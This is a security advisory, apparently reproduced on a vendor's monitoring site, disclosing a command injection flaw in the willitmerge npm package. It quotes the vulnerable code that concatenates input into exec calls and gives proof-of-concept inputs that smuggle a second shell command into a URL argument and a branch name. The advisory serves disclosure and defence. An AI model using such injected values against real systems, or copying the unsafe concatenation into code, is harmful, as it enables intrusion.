Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-j9wj-m24m-7jj6
No affected components available
willitmerge describes itself as a command line tool to check if pull requests are mergeable. There is a Command Injection vulnerability in version willitmerge@0.2.1.
Resources:
- Project's GitHub source code: https://github.com/shama/willitmerge/
- Project's npm package: https://www.npmjs.com/package/willitmerge
Background on exploitation
Reporting a Command Injection vulnerability in willitmerge npm package.
A security vulnerability manifests in this package due to the use of insecure child process execution API (exec) to which it concateanes user input, whether provided to the command-line flag, or is in user control in the target repository.
Exploit
POC 1
- Install
willitmerge - Run it with the following command
willitmerge --verbose --remote "https://github.com/lirantal/npq.git; touch /tmp/hel"
- Confirm the file
/tmp/helis created on disk
GitHub-sourced attack vector
Lines 189-197 in lib/willitmerge.js
pass user input controlled by repository collaborators into the git command:
var cmds = [
'git checkout -b ' + branch + ' ' + that.options.remote + '/' + iss.base.ref,
'git remote add ' + branch + ' ' + gitUrl,
'git pull ' + branch + ' ' + iss.head.ref,
'git reset --merge HEAD',
'git checkout ' + origBranch,
'git branch -D ' + branch,
'git remote rm ' + branch
];
Users creating malicious branch names such as ;{echo,hello,world}>/tmp/c
This is a similar attack vector to that which was reported for the [pullit vulnerability (https://security.snyk.io/vuln/npm:pullit:20180214)
Author
Liran Tal
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard